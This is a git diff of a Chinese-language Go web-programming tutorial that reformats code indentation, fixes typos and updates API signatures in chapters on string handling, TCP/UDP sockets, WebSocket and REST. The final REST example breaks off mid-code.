- - func main() { - userFile := "asatxie.txt" - fl, err := os.Open(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fl.Close() - buf := make([]byte, 1024) - for { - n, _ := fl.Read(buf) - if 0 == n { - break - } - os.Stdout.Write(buf[:n]) +import ( + "fmt" + "os" +) + +func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break } + os.Stdout.Write(buf[:n]) } - +} + ``` ### 删除文件 Go语言里面删除文件和删除文件夹是同一个函数 diff --git a/zh/07.6.md b/zh/07.6.md index e33a97f84..5517cded9 100644 --- a/zh/07.6.md +++ b/zh/07.6.md @@ -9,15 +9,15 @@ ```Go - fmt.Println(strings.Contains("seafood", "foo")) - fmt.Println(strings.Contains("seafood", "bar")) - fmt.Println(strings.Contains("seafood", "")) - fmt.Println(strings.Contains("", "")) - //Output: - //true - //false - //true - //true +fmt.Println(strings.Contains("seafood", "foo")) +fmt.Println(strings.Contains("seafood", "bar")) +fmt.Println(strings.Contains("seafood", "")) +fmt.Println(strings.Contains("", "")) +//Output: +//true +//false +//true +//true ``` @@ -27,9 +27,9 @@ ```Go - s := []string{"foo", "bar", "baz"} - fmt.Println(strings.Join(s, ", ")) - //Output:foo, bar, baz +s := []string{"foo", "bar", "baz"} +fmt.Println(strings.Join(s, ", ")) +//Output:foo, bar, baz ``` - func Index(s, sep string) int @@ -38,10 +38,10 @@ ```Go - fmt.Println(strings.Index("chicken", "ken")) - fmt.Println(strings.Index("chicken", "dmr")) - //Output:4 - //-1 +fmt.Println(strings.Index("chicken", "ken")) +fmt.Println(strings.Index("chicken", "dmr")) +//Output:4 +//-1 ``` - func Repeat(s string, count int) string @@ -49,8 +49,8 @@ ```Go - fmt.Println("ba" + strings.Repeat("na", 2)) - //Output:banana +fmt.Println("ba" + strings.Repeat("na", 2)) +//Output:banana ``` - func Replace(s, old, new string, n int) string @@ -58,10 +58,10 @@ ```Go - fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) - fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) - //Output:oinky oinky oink - //moo moo moo +fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) +fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) +//Output:oinky oinky oink +//moo moo moo ``` - func Split(s, sep string) []string @@ -69,14 +69,14 @@ ```Go - fmt.Printf("%q\n", strings.Split("a,b,c", ",")) - fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) - fmt.Printf("%q\n", strings.Split(" xyz ", "")) - fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) - //Output:["a" "b" "c"] - //["" "man " "plan " "canal panama"] - //[" " "x" "y" "z" " "] - //[""] +fmt.Printf("%q\n", strings.Split("a,b,c", ",")) +fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) +fmt.Printf("%q\n", strings.Split(" xyz ", "")) +fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) +//Output:["a" "b" "c"] +//["" "man " "plan " "canal panama"] +//[" " "x" "y" "z" " "] +//[""] ``` - func Trim(s string, cutset string) string @@ -85,8 +85,8 @@ ```Go - fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) - //Output:["Achtung"] +fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) +//Output:["Achtung"] ``` - func Fields(s string) []string @@ -95,8 +95,8 @@ ```Go - fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) - //Output:Fields are: ["foo" "bar" "baz"] +fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) +//Output:Fields are: ["foo" "bar" "baz"] ``` ## 字符串转换 @@ -106,41 +106,41 @@ ```Go - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - str := make([]byte, 0, 100) - str = strconv.AppendInt(str, 4567, 10) - str = strconv.AppendBool(str, false) - str = strconv.AppendQuote(str, "abcdefg") - str = strconv.AppendQuoteRune(str, '单') - fmt.Println(string(str)) - } +package main + +import ( + "fmt" + "strconv" +) + +func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) +} ``` - Format 系列函数把其他类型的转换为字符串 ```Go - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - a := strconv.FormatBool(false) - b := strconv.FormatFloat(123.23, 'g', 12, 64) - c := strconv.FormatInt(1234, 10) - d := strconv.FormatUint(12345, 10) - e := strconv.Itoa(1023) - fmt.Println(a, b, c, d, e) - } +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} ``` @@ -148,30 +148,30 @@ ```Go - package main - - import ( - "fmt" - "strconv" - ) - func checkError(e error){ - if e != nil{ - fmt.Println(e) - } - } - func main() { - a, err := strconv.ParseBool("false") - checkError(err) - b, err := strconv.ParseFloat("123.23", 64) - checkError(err) - c, err := strconv.ParseInt("1234", 10, 64) - checkError(err) - d, err := strconv.ParseUint("12345", 10, 64) - checkError(err) - e, err := strconv.Atoi("1023") - checkError(err) - fmt.Println(a, b, c, d, e) - } +package main + +import ( + "fmt" + "strconv" +) +func checkError(e error){ + if e != nil{ + fmt.Println(e) + } +} +func main() { + a, err := strconv.ParseBool("false") + checkError(err) + b, err := strconv.ParseFloat("123.23", 64) + checkError(err) + c, err := strconv.ParseInt("1234", 10, 64) + checkError(err) + d, err := strconv.ParseUint("12345", 10, 64) + checkError(err) + e, err := strconv.Atoi("1023") + checkError(err) + fmt.Println(a, b, c, d, e) +} ``` diff --git a/zh/08.0.md b/zh/08.0.md index 29cd7fb97..bfe885b28 100644 --- a/zh/08.0.md +++ b/zh/08.0.md @@ -5,7 +5,7 @@ Web服务背后的关键在于平台的无关性,你可以运行你的服务 目前主流的有如下几种Web服务:REST、SOAP。 -REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。 +REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节将详细的讲解如何在Go语言中来实现REST方式。 SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。Go语言是以简单著称,所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错,开发起来很方便的RPC机制,我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。 diff --git a/zh/08.1.md b/zh/08.1.md index 369d8ce09..9f12e5067 100644 --- a/zh/08.1.md +++ b/zh/08.1.md @@ -5,6 +5,7 @@ Socket起源于Unix,而Unix基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。Socket就是该模式的一个实现,网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用:Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。 常用的Socket类型有两种:流式Socket(SOCK_STREAM)和数据报式Socket(SOCK_DGRAM)。流式是一种面向连接的Socket,针对于面向连接的TCP服务应用;数据报式Socket是一种无连接的Socket,对应于无连接的UDP服务应用。 + ## Socket如何通信 网络中的进程之间如何通过Socket通信呢?首要解决的问题是如何唯一标识一个进程,否则通信无从谈起!在本地可以通过进程PID来唯一标识一个进程,但是在网络中这是行不通的。其实TCP/IP协议族已经帮我们解决了这个问题,网络层的“ip地址”可以唯一标识网络中的主机,而传输层的“协议+端口”可以唯一标识主机中的应用程序(进程)。这样利用三元组(ip地址,协议,端口)就可以标识网络的进程了,网络中需要互相通信的进程,就可以利用这个标志在他们之间进行交互。请看下面这个TCP/IP协议结构图 @@ -33,33 +34,33 @@ IPv6是下一版本的互联网协议,也可以说是下一代互联网的协 在Go的`net`包中定义了很多类型、函数和方法用来网络编程,其中IP的定义如下: ```Go - type IP []byte +type IP []byte ``` 在`net`包中有很多函数来操作IP,但是其中比较有用的也就几个,其中`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型,请看下面的例子: ```Go - package main - import ( - "net" - "os" - "fmt" - ) - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) - os.Exit(1) - } - name := os.Args[1] - addr := net.ParseIP(name) - if addr == nil { - fmt.Println("Invalid address") - } else { - fmt.Println("The address is ", addr.String()) - } - os.Exit(0) +package main +import ( + "net" + "os" + "fmt" +) +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) +} ``` 执行之后你就会发现只要你输入一个IP地址就会给出相应的IP格式 @@ -71,8 +72,8 @@ IPv6是下一版本的互联网协议,也可以说是下一代互联网的协 ```Go - func (c *TCPConn) Write(b []byte) (n int, err os.Error) - func (c *TCPConn) Read(b []byte) (n int, err os.Error) +func (c *TCPConn) Write(b []byte) (int, error) +func (c *TCPConn) Read(b []byte) (int, error) ``` `TCPConn`可以用在客户端和服务器端来读写数据。 @@ -81,30 +82,31 @@ IPv6是下一版本的互联网协议,也可以说是下一代互联网的协 ```Go - type TCPAddr struct { - IP IP - Port int - } +type TCPAddr struct { + IP IP + Port int + Zone string // IPv6 scoped addressing zone +} ``` 在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr` ```Go - func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) +func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) ``` -- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only),TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个). -- addr表示域名或者IP地址,例如"www.google.com:80" 或者"127.0.0.1:22". +- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一个)。 +- addr表示域名或者IP地址,例如"www.google.com:80" 或者"127.0.0.1:22"。 ### TCP client -Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器段通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下: +Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器端通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下: ```Go - func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) +func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error) ``` -- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个) +- network参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个) - laddr表示本机地址,一般设置为nil - raddr表示远程的服务地址 @@ -115,49 +117,51 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 从服务端接收到的响应信息格式可能如下: ```Go - HTTP/1.0 200 OK - ETag: "-9985996" - Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT - Content-Length: 18074 - Connection: close - Date: Sat, 28 Aug 2010 00:43:48 GMT - Server: lighttpd/1.4.23 +HTTP/1.0 200 OK +ETag: "-9985996" +Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT +Content-Length: 18074 +Connection: close +Date: Sat, 28 Aug 2010 00:43:48 GMT +Server: lighttpd/1.4.23 ``` 我们的客户端代码如下所示: ```Go - package main +package main - import ( - "fmt" - "io/ioutil" - "net" - "os" - ) +import ( + "fmt" + "io/ioutil" + "net" + "os" +) - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - conn, err := net.DialTCP("tcp", nil, tcpAddr) - checkError(err) - _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) - checkError(err) - result, err := ioutil.ReadAll(conn) - checkError(err) - fmt.Println(string(result)) - os.Exit(0) +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + // result, err := ioutil.ReadAll(conn) + result := make([]byte, 256) + _, err = conn.Read(result) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) } +} ``` 通过上面的代码我们可以看出:首先程序将用户的输入作为参数`service`传入`net.ResolveTCPAddr`获取一个tcpAddr,然后把tcpAddr传入DialTCP后创建了一个TCP连接`conn`,通过`conn`来发送请求信息,最后通过`ioutil.ReadAll`从`conn`中读取全部的文本,也就是服务端响应反馈的信息。 @@ -166,43 +170,43 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 上面我们编写了一个TCP的客户端程序,也可以通过net包来创建一个服务器端程序,在服务器端我们需要绑定服务到指定的非激活端口,并监听此端口,当有客户端请求到达的时候可以接收到来自客户端连接的请求。net包中有相应功能的函数,函数定义如下: ```Go - func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) - func (l *TCPListener) Accept() (c Conn, err os.Error) +func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error) +func (l *TCPListener) Accept() (Conn, error) ``` 参数说明同DialTCP的参数一样。下面我们实现一个简单的时间同步服务,监听7777端口 ```Go - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":7777" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - conn.Close() // we're finished with this client - } - } - func checkError(err error) { +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) + continue } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client } +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } +} ``` 上面的服务跑起来之后,它将会一直在那里等待,直到有新的客户端请求到达。当有新的客户端请求到达并同意接受`Accept`该请求的时候他会反馈当前的时间信息。值得注意的是,在代码中`for`循环里,当有错误发生时,直接continue而不是退出,是因为在服务器端跑代码的时候,当有错误发生的情况下最好是由服务端记录错误,然后当前连接的客户端直接报错而退出,从而不会影响到当前服务端运行的整个服务。 @@ -210,42 +214,42 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 上面的代码有个缺点,执行的时候是单任务的,不能同时接收多个请求,那么该如何改造以使它支持多并发呢?Go里面有一个goroutine机制,请看下面改造后的代码 ```Go - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) - } - } - - func handleClient(conn net.Conn) { - defer conn.Close() - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - // we're finished with this client - } - func checkError(err error) { +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) + continue } + go handleClient(conn) + } +} + +func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) } +} ``` 通过把业务处理分离到函数`handleClient`,我们就可以进一步地实现多并发执行了。看上去是不是很帅,增加`go`关键词就实现了服务端的多并发,从这个小例子也可以看出goroutine的强大之处。 @@ -253,43 +257,43 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 有的朋友可能要问:这个服务端没有处理客户端实际请求的内容。如果我们需要通过从客户端发送不同的请求来获取不同的时间格式,而且需要一个长连接,该怎么做呢?请看: ```Go - package main - - import ( - "fmt" - "net" - "os" - "time" - "strconv" - "strings" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) +package main + +import ( + "fmt" + "net" + "os" + "time" + "strconv" + "strings" +) + +func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue } + go handleClient(conn) } +} - func handleClient(conn net.Conn) { - conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout - request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack - defer conn.Close() // close connection before exit - for { - read_len, err := conn.Read(request) +func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) - if err != nil { - fmt.Println(err) - break - } + if err != nil { + fmt.Println(err) + break + } if read_len == 0 { break // connection already closed by client @@ -302,15 +306,15 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 } request = make([]byte, 128) // clear last read content - } } +} - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) } +} ``` 在上面这个例子中,我们使用`conn.Read()`不断读取客户端发来的请求。由于我们需要保持与客户端的长连接,所以不能在读取完一次请求后就关闭连接。由于`conn.SetReadDeadline()`设置了超时,当一定时间内客户端无请求发送,`conn`便会自动关闭,下面的for循环即会因为连接已关闭而跳出。需要注意的是,`request`在创建时需要指定一个最大长度以防止flood attack;每次读取到请求处理完毕后,需要清理request,因为`conn.Read()`会将新读取到的内容append到原内容之后。 @@ -319,108 +323,108 @@ Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回 TCP有很多连接控制函数,我们平常用到比较多的有如下几个函数: ```Go - func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) +func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) ``` 设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。 ```Go - func (c *TCPConn) SetReadDeadline(t time.Time) error - func (c *TCPConn) SetWriteDeadline(t time.Time) error +func (c *TCPConn) SetReadDeadline(t time.Time) error +func (c *TCPConn) SetWriteDeadline(t time.Time) error ``` 用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。 ```Go - func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error +func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error ``` -设置keepAlive属性,是操作系统层在tcp上没有数据和ACK的时候,会间隔性的发送keepalive包,操作系统可以通过该包来判断一个tcp连接是否已经断开,在windows上默认2个小时没有收到数据和keepalive包的时候人为tcp连接已经断开,这个功能和我们通常在应用层加的心跳包的功能类似。 +设置keepAlive属性。操作系统层在tcp上没有数据和ACK的时候,会间隔性的发送keepalive包,操作系统可以通过该包来判断一个tcp连接是否已经断开,在windows上默认2个小时没有收到数据和keepalive包的时候认为tcp连接已经断开,这个功能和我们通常在应用层加的心跳包的功能类似。 更多的内容请查看`net`包的文档。 ## UDP Socket Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样,只有TCP换成了UDP而已。UDP的几个主要函数如下所示: ```Go - func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) - func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) - func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) - func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) - func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) +func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) +func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) +func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) +func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) +func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) ``` 一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已: ```Go - package main +package main - import ( - "fmt" - "net" - "os" - ) +import ( + "fmt" + "net" + "os" +) - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.DialUDP("udp", nil, udpAddr) - checkError(err) - _, err = conn.Write([]byte("anything")) - checkError(err) - var buf [512]byte - n, err := conn.Read(buf[0:]) - checkError(err) - fmt.Println(string(buf[0:n])) - os.Exit(0) +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error()) + os.Exit(1) } +} ``` 我们来看一下UDP服务器端如何来处理: ```Go - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.ListenUDP("udp", udpAddr) - checkError(err) - for { - handleClient(conn) - } +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) } - func handleClient(conn *net.UDPConn) { - var buf [512]byte - _, addr, err := conn.ReadFromUDP(buf[0:]) - if err != nil { - return - } - daytime := time.Now().String() - conn.WriteToUDP([]byte(daytime), addr) +} +func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error()) + os.Exit(1) } +} ``` ## 总结 diff --git a/zh/08.2.md b/zh/08.2.md index 0573488ac..4fa960dd2 100644 --- a/zh/08.2.md +++ b/zh/08.2.md @@ -47,49 +47,49 @@ WebSocket分为客户端和服务端,接下来我们将实现一个简单的 ```html - - - - -

WebSocket Echo Test

-
-

- Message: -

-
- - - + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + ``` -可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。 +可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebSocket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。 - 1)onopen 建立连接后触发 - 2)onmessage 收到消息后触发 @@ -100,45 +100,45 @@ WebSocket分为客户端和服务端,接下来我们将实现一个简单的 ```Go - package main +package main - import ( - "golang.org/x/net/websocket" - "fmt" - "log" - "net/http" - ) +import ( + "golang.org/x/net/websocket" + "fmt" + "log" + "net/http" +) - func Echo(ws *websocket.Conn) { - var err error +func Echo(ws *websocket.Conn) { + var err error - for { - var reply string + for { + var reply string - if err = websocket.Message.Receive(ws, &reply); err != nil { - fmt.Println("Can't receive") - break - } + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } - fmt.Println("Received back from client: " + reply) + fmt.Println("Received back from client: " + reply) - msg := "Received: " + reply - fmt.Println("Sending to client: " + msg) + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) - if err = websocket.Message.Send(ws, msg); err != nil { - fmt.Println("Can't send") - break - } + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break } } +} - func main() { - http.Handle("/", websocket.Handler(Echo)) +func main() { + http.Handle("/", websocket.Handler(Echo)) - if err := http.ListenAndServe(":1234", nil); err != nil { - log.Fatal("ListenAndServe:", err) - } + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) } +} ``` 当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。 diff --git a/zh/08.3.md b/zh/08.3.md index d08c09a25..5f58f1891 100644 --- a/zh/08.3.md +++ b/zh/08.3.md @@ -58,62 +58,63 @@ Go没有为REST提供直接支持,但是因为RESTful是基于HTTP协议实现 - HTML标准只能通过链接和表单支持`GET`和`POST`。在没有Ajax支持的网页浏览器中不能发出`PUT`或`DELETE`命令 -- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。 +- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求,要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。 我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT`、`DELETE`等方式,但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RESTful来实现是很容易的,我们通过下面的例子来说明如何实现RESTful的应用设计。 ```Go - package main - - import ( - "fmt" - "github.com/julienschmidt/httprouter" - "log" - "net/http" - ) - - func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { - fmt.Fprint(w, "Welcome!\n") - } - - func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { - fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name")) - } - - func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { - uid := ps.ByName("uid") - fmt.Fprintf(w, "you are get user %s", uid) - } - - func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { - uid := ps.ByName("uid") - fmt.Fprintf(w, "you are modify user %s", uid) - } - - func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { - uid := ps.ByName("uid") - fmt.Fprintf(w, "you are delete user %s", uid) - } - - func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { - // uid := 